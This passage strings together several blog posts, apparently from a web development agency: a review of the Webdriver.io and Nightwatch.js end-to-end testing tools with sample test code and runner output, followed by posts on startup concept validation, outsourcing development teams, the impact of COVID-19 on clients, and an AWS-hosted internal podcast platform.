   get alertSuccess() { return $('.alert.alert-success') }
   get alertErrors() { return $('.alert.alert-danger') }
  
   open() {
       super.open('signup');
   }
  
   submit() {
       this.submitBtn.click();
   }
  
}

export default new SignUpPage();

We decided to use some inheritance instead of duplicating small snippets across all future pages, so that’s the reason we define a simple Page class first. Soon enough we’ll extend it with more base methods, but for now it’s enough. Then we create our Sign Up page and define selectors for all of our input elements, buttons and presentation divs which will be used in the tests later. This will help us make our tests look more focused and well described, stripping all of the overhead that query selectors carry. Also this makes our tests more flexible, we can adapt easily to any changes of the UI markup simply by updating the page object. Last but not least we add some basic methods for interactions with the page object itself, but let’s move on to the tests so you can see all of this in action.

import SignUpPage from '~/pages/signup.page';
 
describe('Sign Up page', () => {
 
 // ...
 
 it('should submit the form successfully', () => {
   SignUpPage.open();
 
   SignUpPage.inputFirstName.setValue(faker.name.firstName());
   SignUpPage.inputLastName.setValue(faker.name.lastName());
   SignUpPage.inputCompanyName.setValue(faker.company.companyName());
   SignUpPage.inputEmail.setValue(faker.internet.email());
   SignUpPage.inputPhone.setValue(faker.phone.phoneNumber());
   SignUpPage.inputCity.setValue(faker.address.city());
 
   SignUpPage.inputState.click();
   $('.select2-results__option:nth-child(3)').click();
 
   SignUpPage.inputMarketingStrategies.click();
   $('.select2-results__option:nth-child(1)').click();
 
   SignUpPage.submit();
 
   expect(SignUpPage.alertSuccess).toHaveText('Your submission has been successfully submitted.');
 });
 
});

Looks pretty good, right? All of our predefined elements are chainable with the built-in element methods so you can use them directly without any additional overhead. Yet, the code looks clean and all of the actions are well described. You may see how valuable this approach is when you start to add more complex tests which work on multiple pages, it keeps the context of every action and is a way easier to read and understand the test cases. Similarly we use faker.js in order to generate dummy test values increasing the variability of our tests on every run. And the last thing in this test example is the way we interact with the custom input elements on the page. We already have some negative experience with the select2 elements (you can read more about our problems in the previous article) so we knew that this part will be tricky.

Note: If you’re now aware of its capabilities, Select2 is a 3rd party library which provides an extended and customizable version of the standard html element. It comes with support for searching, tagging, remote data sets, infinite scrolling, and many other highly used options. We use it a lot in our project so it’s crucial to be able to interact with the tests. Generally it’s a great tool so If you’re still not convinced of its powers we strongly recommend you to give it a try.

Back to the board, our first try was unsuccessful, select2 component is way different than its parent and yes, you can’t interact with it using the built in methods. However we found a way to select a value simply by interacting with the UI directly. You can see that we select the element and then click on one of its options. We hope that this will do the job for your case too, it was definitely enough for us.

 "spec" Reporter:
------------------------------------------------------------------
[chrome 83.0.4103.61 linux #0-0] Spec: /home/valentin/Documents/MTR Design/2020/reachadvance-e2e-tests-source/webdriver.io/test/specs/guest/signup.js
[chrome 83.0.4103.61 linux #0-0] Running: chrome (v83.0.4103.61) on linux
[chrome 83.0.4103.61 linux #0-0] Session ID: 32c939cf714f992bc3565a15e9047761
[chrome 83.0.4103.61 linux #0-0]
[chrome 83.0.4103.61 linux #0-0] Sign Up page
[chrome 83.0.4103.61 linux #0-0]    ✓ should report form errors on submit if provided empty form
[chrome 83.0.4103.61 linux #0-0]    ✓ should report form errors on submit if provided invalid data
[chrome 83.0.4103.61 linux #0-0]    ✓ should submit the form successfully
[chrome 83.0.4103.61 linux #0-0]
[chrome 83.0.4103.61 linux #0-0] 3 passing (10.2s)


Spec Files:	 1 passed, 1 total (100% completed) in 00:00:14

The test finished successfully and all of the actions were executed as expected so we can mark this part of the job as done. We have to mention the speed time as well, it works fast enough but we have to wait how it will go when the number of test suites increases. Since we have passed this threshold successfully we can move on and start to cover the more complex scenarios.

Test protected routes and complex workflows

We already have tested the Sign Up process which leads us to the next step - find a way to authenticate the users and test protected routes. Unfortunately there is no way to make a POST requests without using any plugins (you can try to use the InterceptService if you want) so our goal includes the following key points:

• find a way to define a custom command/methods for login which can be used across the test suites without any unnecessary code duplications
• find a way to provide the user credentials dynamically
• find a way to automate the login process for the tests which requires the user to be authenticated

Starting from the top to bottom to solve each of those requirements. First up, remember when we defined our page object and told you we’ll use it later? Well, the moment has come, it’s the perfect time to go back and extend it. Since we want to define a method which can be reused across all test suites and it requires the browser’s object to interact with the webpage, we think that the main page object is the best place to do this.

export default class Page {
 constructor() {}
 
 open(path) {
   browser.url(path)
 }
 
 login() {
   browser.url('signin');
 
   $('#email').setValue(browser.config.user.email);
   $('#password').setValue(browser.config.user.password);
   $('form input[type="submit"]').click();
 }
}

Yes, it’s that simple. Just fill the correct values and submit the form. As you can see the credentials are obtained from some browser config which is nothing more than the default “wdio.conf.js” which was created when you initialized the project. So there is no magic, just add your details and wire up the correct variable names in your tests. You can use this approach for anything you want to be somehow dependent on the environment and not hardcoded across the whole codebase. And finally we have to find a place to add our login methods instead of prefixing every single test. Well, it's not that hard of a decision since we are using Mocha and can take advantage of the built-in hooks, more particularly the “before” hook which is run before all tests in the suite. Here is how it goes, a basic example to test the accessibility of the Dashboard page.

import DashboardPage from '~/pages/profile/dashboard.page';
 
describe('Dashboard page', () => {
 
 before(() => {
   DashboardPage.login();
 });
 
 it('should show the Dashboard page', () => {
   DashboardPage.open();
 
   expect(DashboardPage.breadcrumb).toHaveText('Dashboard');
 });
 
});

Once again, we use our new login method in the hook before the execution of all tests, and as you can see we access it as a member of the Dashboard page object, because it inherits all of the main page object properties and methods. Then we simply check whether we can see the Dashboard breadcrumb in order to assume that the user was authenticated and the page was loaded successfully. We already covered most of our requirements and Webdriver seems like an easy to go framework with great capabilities, but there are a few more steps before we can figure out our conclusion.

 "spec" Reporter:
------------------------------------------------------------------
[chrome 83.0.4103.61 linux #0-0] Spec: /home/valentin/Documents/MTR Design/2020/reachadvance-e2e-tests-source/webdriver.io/test/specs/profile/dashboard.js
[chrome 83.0.4103.61 linux #0-0] Running: chrome (v83.0.4103.61) on linux
[chrome 83.0.4103.61 linux #0-0] Session ID: 5fd1513ac22289d827aa940964a52c8d
[chrome 83.0.4103.61 linux #0-0]
[chrome 83.0.4103.61 linux #0-0] Dashboard page
[chrome 83.0.4103.61 linux #0-0]    ✓ should show the Dashboard page
[chrome 83.0.4103.61 linux #0-0]
[chrome 83.0.4103.61 linux #0-0] 1 passing (14.7s)


Spec Files:	 1 passed, 1 total (100% completed) in 00:00:19 

We’re ready to jump in our most complex scenario so far. Let’s take a moment to describe our goals. We’re going to access a protected route and interact with a bunch of new components and elements including a table, checkboxes and a modal. Here is a basic step-by-step breakthrough:

1. Login to the application (use the Page method we defined above)
2. Go to a specific page with a listing of multiple records
3. Select a few rows from a table holding the different items
4. Open a modal containing a form (we want to apply some changes to the selected items)
5. Use the Select2 box to add new values and submit the form in order to associate them with the table selection. Wait for the async response and verify the results
6. Close the modal, wait for the page to reload and check whether the changes have been applied by inspecting the table rows

it('should assign multiple tags to a contact', () => {
   ListContactsPage.open();
 
   for (let index=1; index <= 3; ++index) {
     ListContactsPage.contactsTable
       .$(`tr:nth-child(${index}) td input[type="checkbox"]`)
       .click();
   }
 
   ListContactsPage.manageTagsBtn.waitForDisplayed();
   expect(ListContactsPage.manageTagsBtn.isDisplayed()).toBe(true);
   ListContactsPage.manageTagsBtn.click();
 
   ListContactsPage.tagsModal.waitForDisplayed();
   expect(ListContactsPage.tagsModal.isDisplayed()).toBe(true);
 
   const tag1 = faker.random.word();
   const tag2 = faker.random.word();
 
   ListContactsPage.tagsSelect.click();
 
   ListContactsPage.tagsSelect.$('input.select2-search__field').addValueToSelect2(tag1);
   expect(ListContactsPage.tagsInput.getValuesOfSelect2()).toEqual([tag1]);
 
   ListContactsPage.tagsSelect.$('input.select2-search__field').addValueToSelect2(tag2);
   expect(ListContactsPage.tagsInput.getValuesOfSelect2()).toEqual([tag1, tag2]);
 
   ListContactsPage.submitTagsModal();
   expect(ListContactsPage.tagsModalAlertSuccess).toHaveText('The tags have been successfully changed.');
 
   ListContactsPage.tagsModalCloseBtn.click();
 
   ListContactsPage.tagsModal.waitForDisplayed({ reverse: true });
   expect(ListContactsPage.tagsModal.isDisplayed()).toBe(false);
 
   for (let index=1; index <= 3; ++index) {
     expect(ListContactsPage.contactsTable.$$(`tr:nth-child(${index}) td .badge`).length).toEqual(2);
     expect(ListContactsPage.contactsTable.$$(`tr:nth-child(${index}) td .badge:nth-child(1)`)).toHaveText(tag1);
     expect(ListContactsPage.contactsTable.$$(`tr:nth-child(${index}) td .badge:nth-child(2)`)).toHaveText(tag2);
   }
 });

Once again we’re going to use a page object to interact with the different elements. We’ll omit to post here the definition because it doesn’t contain anything different than the first example above, instead we’ll focus on the workflow itself. Once the page has been opened and loaded (after the user has been authenticated) we use a regular loop to iterate through some of the table rows and click the corresponding check boxes in order to select them. Then we open a modal and wait for it to be displayed because its content is fetched asynchronously. And here we go again, time to interact with the custom select2 element, but this time we have to add new values manually (previously we used one of the existing options). And once again simply using the general select element which is controlled by its enhanced successor was not enough, we had to interact with the UI (which actually is not that bad, because it’s the way the users will potentially use it).

/**
  * Gets executed before test execution begins. At this point you can access to all global
  * variables like `browser`. It is the perfect place to define custom commands.
  * @param {Array.} capabilities list of capabilities details
  * @param {Array.} specs List of spec file paths that are to be run
  */
before: function (capabilities, specs) {
    // Custom command to focus a specific element
    browser.addCommand('focus', function () {
    browser.execute(function (domElement) {
        domElement.focus();
    }, this);
    }, true);

    // Custom command to type a specific value in a select2 input
    browser.addCommand('addValueToSelect2', function (value) {
    this.focus();
    browser.keys(value);
    browser.keys("\uE007");
    }, true);

    // Custom command to get the selected values in select2 input
    browser.addCommand('getValuesOfSelect2', function () {
    return this.$$('option[data-select2-tag="true"]').map(option => option.getValue());
    }, true);
}

We’re going to use another built-in approach provided by Webdriver.io to define some additional commands and extend the default set of abilities for interactions with the elements. In the example above you may notice three new commands. The first one is used to focus a specific element in the browser, we found it as a mandatory pre-condition when we want to interact with the select2 so we decided to define it as a standalone command in terms of simplicity of the code. The second one is used to add a new value to a select2 component, and if you see it does the same 3 steps as you would do as a user if you want to do the same thing. You’ll select the element, type some text via your keyboard and then press to confirm your changes. The last one is a helper function for extracting the multiple selected values of the element and is used as a confirmation of the above. Going back to the test code, you can see how we use the combination of the both commands, directly on the page elements. So once again, we succeeded in our intent to test the enhanced select2 element. The other actions in the test are a bit straightforward - we submit the form and wait to see the success message. Then we close the modal and finally we verify the markup of the table whether it contains the new values which we added. If everything is performed and finished successfully, we can consider our feature as working as expected. And the test runner confirmed the case

 "spec" Reporter:
------------------------------------------------------------------
[chrome 83.0.4103.61 linux #0-0] Spec: /home/valentin/Documents/MTR Design/2020/reachadvance-e2e-tests-source/webdriver.io/test/specs/profile/contacts/tags/manage-multiple.js
[chrome 83.0.4103.61 linux #0-0] Running: chrome (v83.0.4103.61) on linux
[chrome 83.0.4103.61 linux #0-0] Session ID: dc4da0753fc4c8eca11f2356a1d613be
[chrome 83.0.4103.61 linux #0-0]
[chrome 83.0.4103.61 linux #0-0] Dashboard page
[chrome 83.0.4103.61 linux #0-0]    ✓ should show the Contacts page
[chrome 83.0.4103.61 linux #0-0]    ✓ should assign multiple tags to a contact
[chrome 83.0.4103.61 linux #0-0]
[chrome 83.0.4103.61 linux #0-0] 2 passing (14.5s)


Spec Files:	 1 passed, 1 total (100% completed) in 00:00:21 

Well, we can officially say that Webdriver.io passed all of our base tests and as we did with Cypress before, we’ll stop here. We’re happy to announce that we liked it, the way we write our code and how the test runner behaves. The project comes with great docs so you can always find the answer to your questions when needed. Also, there is a well developed society around the community forums so you can learn from the experience of the other before you. Definitely we can say it’s a well designed and developed testing tool which deserves your attention if you’re on a search for a new tool, as we did. You don’t have to hesitate anymore, give it a try and let us know what you think.

Let’s wrap it up

Our journey comes to an end and we think it will be good if we try to summarize our conclusions. We’ve reviewed three different tools which provide different approaches for solving the same use-cases. We’ve collected some experience and shared it with you but... What about if we try to compare them all in a single view and let you choose for yourself. We’ll cover the most important aspects (for us) and try to rate them from 1 to 3, here is what it looks like.

And the winner is… Cypress (cymbal splash) with its perfect score of 20pts. Of course this score is well deserved since the tool did so well during our tests in all aspects. Initially they provide a great documentation and a wide community of supporters but actually you don’t need to rely so much on them, because everything happens easily enough and the whole process was really smooth. We can’t miss to mention again the great test runner and debugging options they provide with the handy time-travel feature. After all, we managed to implement all of our base tests with Cypress which makes it suitable for our needs and we can rely on its services in the future.

As you expected, the score of Nightwatch.js is significantly lower but one of the main reasons for that is the lack of completeness, we couldn’t manage to implement all of our base tests. Although it’s a full featured project so you don’t have to rely only on our rate, give it a try and who knows, it may serve you better than us.

And last, but not least - second in our scoreboard comes the last tool we reviewed above in this article - Webdriver.io. With results in the middle it fully describes our impressions - a really good tool which covered all of our requirements and behaved really well during our tests. What takes it away from the first place is the better test runner and the handy UI which Cypress offers, so nothing bad at all with Webdriver itself. Actually we really liked the Page Object pattern and the way it makes our tests contextually dependent. So we definitely will suggest you to use this tool if you want a bit more speed and the cool UI interface doesn’t  fool you, the decision is up to you.

After all we’re glad of the work we’ve done... and that we started it at all. Not only that we found a tool for our job but we extended a bit our horizon and gained some experience which is never a superfluous resource. We hope that our results will help you decide and save you some time. At least you can base your own opinion on our experience and the thoughts we shared. That’s all from us for now, stay tuned for our future projects and updates.

1. Step one - Concept validation

During the years we have worked with numerous startups and have met a lot of enthusiastic founders with brilliant ideas who have been ready to invest all their savings on development. Spending on development though should come second. First of all the client needs to validate his concept. It takes time and resources but is a crucial step in the process of creating a working and valuable project. So you should plan carefully and put some cash aside for this first step. Here comes your 5% of the budget.

Let’s be honest about it - it is not just the awesome code that brings success to your product. The bright idea does not always turn into a vivid business. There is no greater joy than seeing your product live and kicking long after you’ve brought it to life and as a company we have always been more than happy to work with clients who did their planning in advance.

Now after you’ve done your planning and validated your concept you can proceed.

2. Step two - What are the odds of success?

The digital world is a highly competitive place full of hinders. It’s a good idea to see where you’re going. Let me cast light on some questions that may occur in the way.

1. Is your product attempting to resolve a problem that is not an important one?
2. Your product may be of real use for a certain issue but are there other existing products on the market which are free, cheap or better working?
3. If there are customers willing to pay for your product, is reaching out to them hard or expensive?

Answering these questions though will take another 5% of your budget. Use them wisely and do some cheap user research, run a few demand experiments and make your assessments.

If you eventually came to the conclusion that you not only have a smart idea there but also a profitable business and it is worth spending on development then you should make the call and create this brand new cool product.

If the answer to all three questions is “Yes” then you may be having a not so great idea after all and the second step is a dead end. Maybe you should give up spending the rest of your budget on something that won’t live to see another day. A small investment in research and planning can really stop you from spending the other 90% of your money and save you the disappointment.

To cut the long story short - don’t underestimate the steps you need to take before calling your developer - this can save you tons of money. And vice versa - if your idea proves to be strong and viable don’t hesitate to make the leap and create something new and exciting.  Although we won’t walk the way instead of you, we at MTR will be more than happy to see you around to build something amazing together.

1. Building your in-house development team;
2. Hiring freelance developers; or
3. Contracting an external development company.

So, when should companies choose hiring remote developers instead of recruiting an in-house developer group? In which cases is best to outsource? Which option is most flexible and cost-effective? It really depends on the project and the company in question. It’s up to the management team to consider all the aspects of the project, and decide which approach is the best.

Here we’ll discuss briefly the three basic options mentioned above, and share our own experience with building successful remote development teams.

Building your in-house development team

It's commonly believed that the first approach has most advantages to it, at least as far as quality is concerned. Building an in-house development team, however, is the most expensive option of all. On the one hand, it requires significant financial resources for the recruitment of a base team of say 3 or 4 programmers and their monthly pay over a relatively long period of time (during which the product will be developed). On the other hand, an in-house developer group also involves certain project management resources from the client (for managing and communicating current tasks with the team). So, the yearly costs for such a team can easily exceed several hundred thousand dollars/pounds/euros.

And apart from being high cost, this approach is also less flexible. In-house developers might have experience in some areas and lack of abilities in others, so companies need more employees to cover all aspects a project might require, which will of course make the project even more costly. Besides, in-house developers usually work on a permanent employment contract, so it’s more difficult to instantly terminate the contracts in case of any conflict.

Hiring freelance developers

Hiring freelance developers nowadays doesn’t seem much different from permanent employment of programmers which typically means 40-hour week, standard working hours, paid annual leave, certain additional payments such as social and health insurance (depending on the applicable laws), etc.

A growing number of companies, from well-established software firms like Automattic (the creators of the popular software Wordpress), to successful start-ups like Loom and Invision, hire people under the slogan ‘Work from everywhere’. That said, many companies still limit themselves to hiring employees from certain countries because they prefer abiding by local laws and regulations.

Finding the right freelance programmers for your project might seem like an easy task with specialized marketplace websites where anyone can place an advertisement with the respective requirements for the developers wanted for their project. But hiring the freelancers is only a part of the process. Even if you do have a detailed specification and comprehensive wireframes, you still need a manager with solid technical background to supervise developers’ work and understand what is everyone doing and why they’re doing it this way or another. Sometimes it’s really hard to tell a good programmer from a “fake” one. Some people are very good at presentations and might get you into thinking that they’re "rockstar developers", while in fact they’re not. In other words, you may lose a lot of time and money in sifting out the quality freelance developers from the mediocre ones.

Hiring quality employees is a real problem in web development and that is why freelance developer platforms like Toptal, Gigster and Youteam keep springing up like mushrooms after the rain. These platforms facilitate the recruitment process as freelancers undergo some sort of selection and verification of their professional qualities.

Contracting an external development company (outsourcing)

If you choose this option, most problems related to hiring freelance or in-house programmers are solved by themselves. For example:

• It's less likely to make mistakes when hiring new developers.

The cost of hiring a new programmer and the onboarding process can easily reach several thousand euros. And given that in most cases a new staff member becomes a fully functional team member 6 months after he or she was hired, it’s easy to calculate that the price for each unsuccessful employment varies in the range of 30 to 50% of his or her annual salary.

Even if all your newly-hired staff members are ok, these people will have to learn how to work as a team. And when you use an outsourcing company, you are supposed to get a fully functional team of professionals who have worked together for a long time.

• Another advantage of this approach is flexibility - it’s relatively easy to increase or reduce the number of the team members. And what you get is not only developers.

When starting a new project, most outsourcing web development companies (including MTR Design) usually form a small team of 1 – 3 programmers, who work full-time on this assignment only. Other experts working part-time are being included in the project where necessary - DevOps engineer, technical project manager, UX designer. Thus, the client pays the agreed price per hour for 2, 3 or 4 people for example, but virtually gets access to all the resources needed. Besides, the core team can grow relatively quickly where necessary.

• You get the full stack of services that are needed for the entire web development process, including back-end development, front-end development, project management, and more. The outsourcing company can go hand by hand with you or your customers in the entire process to the delivery.

Considering what we have listed above regarding outsourcing, we may conclude that this approach guarantees faster and more efficient development process. Now, we are far from thinking that everything always goes smoothly when using an external development company. Actually, the major challenge here is choosing the right contractor company for each project. But we will discuss this issue in a separate article, because it’s rather complex and there are various aspects to it.

Final words

Building effective web development teams is no easy task, but the good news is that the options for remote work in the IT sphere open up a lot of possibilities for employees and employers alike.

Even before the COVID-19 pandemic messed up the way almost all businesses function it was all too clear that the remote work trend is steadily going up. What is more, offsite work may be on its way to become the new normal.

If you are looking to hire a web developer, there may not be many available in your city or region and willing to move. However, if you broaden your search for a web developer worldwide, the options grow enormously. So why would employers limit themselves to the local labor market, which may be costly or limited anyway, when they can hire a remote developer and even reduce office space costs?

And in regards to employees, the advantages of working remotely are even more obvious. Why lose your time in commuting and traffic jams, when you can work from your home or wherever you please?

I am far from thinking that in a few years all or the majority of people will work remotely. There are still companies that are waiting for the government restrictions (imposed to limit the spread of the coronavirus) to be lifted in order to return to their normal existence. But in order to survive and prosper in the long run, every business must get the job done in the most efficient way. And this is most easily achieved when the inhouse people are used most efficiently, and are supplemented when needed with alternative work hires without long term commitment.

Our desire is to take a different approach for the testing process of one of our projects. Instead of manually testing the website occasionally we wanted to reduce the possibility for regression issues by building an automated workflow. This way we can ensure that all of the main features are working as expected.. or at least that some of our latest changes are not breaking any existing functionalities. Based on this we decided to use an automatic standalone user journey performed by an e2e testing tool, as part of our build pipeline. And since we want to extend our tech stack we wanted to try something new so we have to identify the perfect test runner by subjecting it to a series of checks which have to be met.

Our requirements list includes the following:

• easy to learn, clean and descriptive syntax
• well detailed documentation and support community
• rich abilities to debug and inspect issues
• extendable to work with custom UI components (modals, select2, etc.)
• as fast and lightweight as possible

Up next in our list is Nightwatch.js.

Nightwatch.js

Nightwatch.js is an integrated, easy to use e2e testing solution for web applications and websites, written in Node.js. It uses the W3C WebDriver API to drive browsers in order to perform commands and assertions on DOM elements. It comes with simple but powerful syntax which enables you to write tests very quickly, using only JavaScript and CSS or Xpath selectors. Uses a built-in command-line test runner which runs the tests either sequentially or in parallel, with retries and implicit waits. Sounds promising so we decided to give it a try.

Getting started with Nightwatch.js

Note: The purpose of this article is to review the different testing libraries and provide you some feedback in order to help you choose the right tool for your case. Thus you cannot rely on this article as a tutorial or step-by-step guide, instead you can go and read the official docs.

Our first job is to initialize a new project and set up the required configurations and dependencies. It’s a simple process if you already have installed Node.js and npm on your environment. Since there are multiple WebDriver options we’ll leave you to choose for yourself so better to follow the official installation guide on your own. Once you’re ready with the configuration of your new test environment we can move on to our first test with Nightwatch.js.

module.exports = {
  'Access the Home page': function (browser) {
    browser
      .url(browser.launchUrl)
      .assert.containsText('.description h1', 'Hello world!')
      .end();
  }
};

As promised, the code is clean and descriptive so you shouldn’t have any troubles understanding the different actions and their execution order simply by reading the code. Finding elements on a page is by far one of the most common functions during an e2e test and Nightwatch provides several techniques for locating elements and also an extensible assertion framework to perform verifications on them. Of course, our first test is really simple so we can move on to see it in action.

[Guest/Home] Test Suite
=======================
ℹ Connected to localhost on port 4444 (6579ms).
  Using: firefox (77.0.1) on linux 5.3.0-59-generic platform.

Running:  Access the Home page

✔ Testing if element <.description h1=""> contains text 'Hello world!' (179ms)

OK. 1 assertions passed. (3.797s)

There are no fancy UI wrappers, just a browser window while the tests are running and a console output with the results after that. Also you can omit the browser popup if you want to include the job in your pipeline, there is a config option to start the runner in headless mode.

Let’s add some real world tests

We’ve got the basics so we can try to add some real world scenarios to the tests suite. One of the most common web page elements are the forms and it’s the best start for us (our app depends on multiple webforms with a variety of input elements). For this example we’ll use our Sign Up form because of its rich set of input types.

'[Sign Up page] should report form errors on submit if provided empty form': function (browser) {
   browser
     .url(browser.launchUrl + '/signup')
     .click('button[type=submit]')
     .assert.visible('.alert.alert-danger');
 
   browser.expect.elements('.alert.alert-danger ul > li').count.to.equal(8);
   browser.expect.element('.alert.alert-danger ul > li:nth-of-type(1)').text.to.contain('The first name field is required.');
   browser.expect.element('.alert.alert-danger ul > li:nth-of-type(2)').text.to.contain('The last name field is required.');
   browser.expect.element('.alert.alert-danger ul > li:nth-of-type(3)').text.to.contain('The company name field is required.');
   // ...
 
   browser.end();
}

First thing to do is to submit an empty form and verify whether the validation is working. In the code snippet above you can see how we interact with the form, by clicking the submit button. Then we use some standard assertions to check the visibility of the alert elements and their messages.

[Guest/Signup] Test Suite
=========================
ℹ Connected to localhost on port 4444 (6051ms).
  Using: firefox (77.0.1) on linux 5.3.0-59-generic platform.

Running:  [Sign Up page] should report form errors on submit if provided empty form

✔ Testing if element <.alert.alert-danger> is visible (137ms)
✔ Expected elements <.alert.alert-danger ul=""> li> count to equal: "8" (40ms)
✔ Expected element <.alert.alert-danger ul=""> li:nth-of-type(1)> text to contain: "The first name field is required." (60ms)
✔ Expected element <.alert.alert-danger ul=""> li:nth-of-type(2)> text to contain: "The last name field is required." (32ms)
✔ Expected element <.alert.alert-danger ul=""> li:nth-of-type(3)> text to contain: "The company name field is required." (23ms)
✔ Expected element <.alert.alert-danger ul=""> li:nth-of-type(4)> text to contain: "The email field is required." (26ms)
✔ Expected element <.alert.alert-danger ul=""> li:nth-of-type(5)> text to contain: "The phone field is required." (25ms)
✔ Expected element <.alert.alert-danger ul=""> li:nth-of-type(6)> text to contain: "The city field is required." (23ms)
✔ Expected element <.alert.alert-danger ul=""> li:nth-of-type(7)> text to contain: "The state field is required." (28ms)
✔ Expected element <.alert.alert-danger ul=""> li:nth-of-type(8)> text to contain: "The marketing strategies field is required." (30ms)

OK. 10 assertions passed. (7.664s)

Once we run the tests you can see the interactions with your webpage and the complete log of all assertions in the console output. Next up we have to test the valid state of the form, so let’s try to fill in some details. We’ve got a few basic inputs and a bunch of select2 components so it should be a straightforward task, right?

'[Sign Up page] should report form errors on submit if provided invalid data': function (browser) {
   browser
     .url(browser.launchUrl + '/signup')
     .setValue('#registration--first-name', faker.name.firstName())
     .setValue('#registration--last-name', faker.name.lastName())
     .setValue('#registration--email', 'invalid-email')
     .click('select[id="registration--state"] option[value="California"]')
     .click('input[type=submit]')
     .assert.visible('.alert.alert-danger');
 
   browser.expect.elements('.alert.alert-danger ul > li').count.to.equal(1);
   browser.expect.element('.alert.alert-danger ul > li:nth-of-type(1)').text.to.contain('The email must be a valid email address.');
 
   browser.end();
 }

Well, if we want to change the value of the standard HTML elements (input, textarea, select, etc) it’s not a problem at all, there are a bunch of predefined interceptors. Unfortunately the same is not valid for a bit more complex elements, as it is the select2 box in our case. We couldn’t find a way to change the selected value both searching for a solution in the docs and the community forums or by attempting to solve the issue by our own working with the UI. After a few hours of unsuccessful tryouts our disappointment took over and we decided to give up. We stuck so early on a problem that was hard to be resolved so we concluded that maybe this won’t be the best tool for us and we have to move on.

Note: Select2 provides a customizable select box with support for searching, tagging, remote data sets, infinite scrolling, and many other highly used options. We find it really handy and we use it a lot in our project so it’s a key point to find a way how to interact within the tests. If you’re still not familiar with this library we strongly recommend you to give it a try.

Yet, we don’t want to put any negative view over Nightwatch.js. It’a a well developed tool with great stats (according to Github and NPM) so you shouldn’t pass it away, it may serve you better than us. Also there is an official support for cloud integrations so you can automate even more your test environment. If you already have any experience with Nightwatch feel free to share it with us, we would be glad to hear from you. We hope you’re still interested in what will be the next tool in our review list so stay tuned for the next chapter of our journey.

Read part 3 of "On a way to find the perfect e2e testing tool"

The COVID-19 pandemic is far more than a health crisis: it has a major impact on societies and economies, prompting every business sector to suspend, minimize, or adjust their operations. The tech industry, and web development in particular, is no exception to that.

Generally speaking, the IT industry shouldn’t be hit that hard by the pandemic, since most activities are processed digitally, and remote work isn’t that much of a problem. However, it’s still dependent on the business environment, which is massively affected by Covid-19. And because of the significant disruptions in the supply chain, there are sectors of the tech industry that have taken a significant hit. Others, like e-commerce, online conferencing services, remote working platforms, cashless solutions, etc. experience significant growth.

The impact on our clients

As a web development service company, we at MTR Design largely depend on our clients and partners, their overall financial condition and the situation in their business sectors. Fortunately, we’re lucky to have a diversified set of customers operating in various spheres and from different countries, so we aren’t affected that much by the recession.

We did, however, undergo some changes in several of our projects, and had to reorganize our work a bit. Here are some examples from our professional experience in the times of pandemic, which you may find useful.

One of our partners is a UK-based one-man design shop, who has been working with clients from the restaurant and hotel business for more than 10 years. By mid-May, our client’s workload was reduced drastically (almost 100%, according to him), and we witnessed this on several of our mutual projects for restaurant and hotel chains that literally closed in a matter of months.

Another interesting case is that of the biggest Bulgarian theater (the “Ivan Vazov” National Theater). We developed and launched its new site six months ago, however the theater had to suspend its operations during lockdown in Bulgaria. Similar was the situation with an Australian client of ours, an education recruitment and management consultancy, whose business went down by 80% in the months during which Covid-19-related restrictions were imposed.

Another partner of ours, a California-based firm with which we’ve just started a new SaaS real estate project, underwent a major change in the sales plan as a result of the pandemic. They’ve just formed a new sales team, which had to be on-boarded, but this turned out to be impossible, as the offices were closed and the company wasn’t ready to let those employees work remotely. Consequently, the marketing of the platform got delayed for two months, and we used this time to develop new functions for the service in question.

Meanwhile, we have other projects that remained unaffected by the Coronavirus crisis. Such an example is a large pharmaceutical company, with which we work as a development extension of one their core technology teams. This isn’t surprising though, given that the Covid-19 pandemic probably creates more opportunities for the pharmaceutical industry than it does harm.

Actually, the pandemic did good to some of our projects too. One such an example is Dizzyjam – print and order on-demand merchandise for the music industry which we created more than 10 years ago. Its sales doubled over the months of lockdown.

An exemplary case

We’d also like to share the experience of a long-term client of ours - Newlyn School of Art. As its name suggests, this is an art school in the south west of England (Cornwall) that organizes a wide range of high quality and exciting short art courses in disciplines such as painting, drawing and printmaking. And of course, they were negatively affected by the pandemic – they had to postpone or cancel all the coursers scheduled during the lockdown in the UK. However, due to the many devoted clients, the school was able to reschedule the courses, instead of refunding the orders. Furthermore, they organized various initiatives to help them overcome the crisis, also engaging the tutors and clients in those events. For example, they initiated fundraising auctions of artworks to support both the school and artists at a time when most art exhibitions have been cancelled. In this way, they fundraised more than £50,000, and the proceeds were fairly split between the school and the artists. So, there are opportunities to be had even in the darkest of times, and the case with Newlyn School of Art appears like perfect crisis management to us.

Final words and some piece of advice

All companies who have survived the Covid-19 blow are now probably evaluating its impact and planning how to move forward in times of uncertainty. Generally speaking, businesses across the globe have been pushed to move the majority of their operations online, and to switch to remote work.

As a company operating 100% remotely for more than 12 years now, we can confirm that a remotely based team can be managed as efficiently as the one in the office. Yet, as many other businesses nowadays, we had to reprioritize our projects and reorganize our work force in order to be more efficient and handle the Covid-19 situation in the best possible way.

As a result of the pandemic, we have a surplus of experienced developers – employees who were supposed to work on projects that were postponed or cancelled. We use the spare time and resource that we have to develop our own products, as well as to increase our internal expertise by learning and experimenting with new technologies. This makes us more flexible to the changes in the business environment and more adapt to the technological requirements of our partners and clients.

That is to say, no economic sector is immune to COVID-19 and similar force-majeure situations. The important thing is being prepared for them, and taking the right decisions when the time comes. And if we are to come up with some sort of advice to web dev companies, that would be the following:

1. Shift to remote work;
2. Reprioritize your projects;
3. Explore new opportunities;
4. Continue to learn.

A client of ours - a multinational pharmaceutical corporation with tens of thousands of employees around the world, contracted us to develop a platform for creating, maintaining, and consuming internal podcast channels and episodes. The goal of the project was to allow all the company employees to access and subscribe/download podcasts when connected to the company internal network and using common public podcast apps.

The project

The project is built on top of the Laravel PHP Framework and uses many of the services provided by Amazon Web Services (AWS). The library can be managed from the web app which is responsible only for providing the users with the content’s source. All audio files used in the podcast’s episodes, as well as the podcasts’ XML feeds, are stored in AWS Amazon S3 and can be used directly from the dedicated S3 buckets (which are also accessible only via the company’s internal network).

The problem

The client wanted to have daily stats on the episodes downloads and information about the traffic generated by the podcasts subscribers.

When planning the availability of the platform we decided that we should not have the podcasts consumption depend on the web application. We can’t afford to interrupt the users’ streaming process in case the webserver falls down and is temporarily unavailable for some reason. Such server issues should only affect the web application and the content administrators, and not the thousands of the company’s members who listen to the podcasts via their client apps.

Additionally we wanted to keep the architecture of the project as clean as possible so we wouldn’t have to plan any auto-scaling features in the near future in case of consumption increase. In order to solve these issues we decided to use Amazon S3 directly as a content source because we didn’t want to rely on a proxy script to serve the audio files.

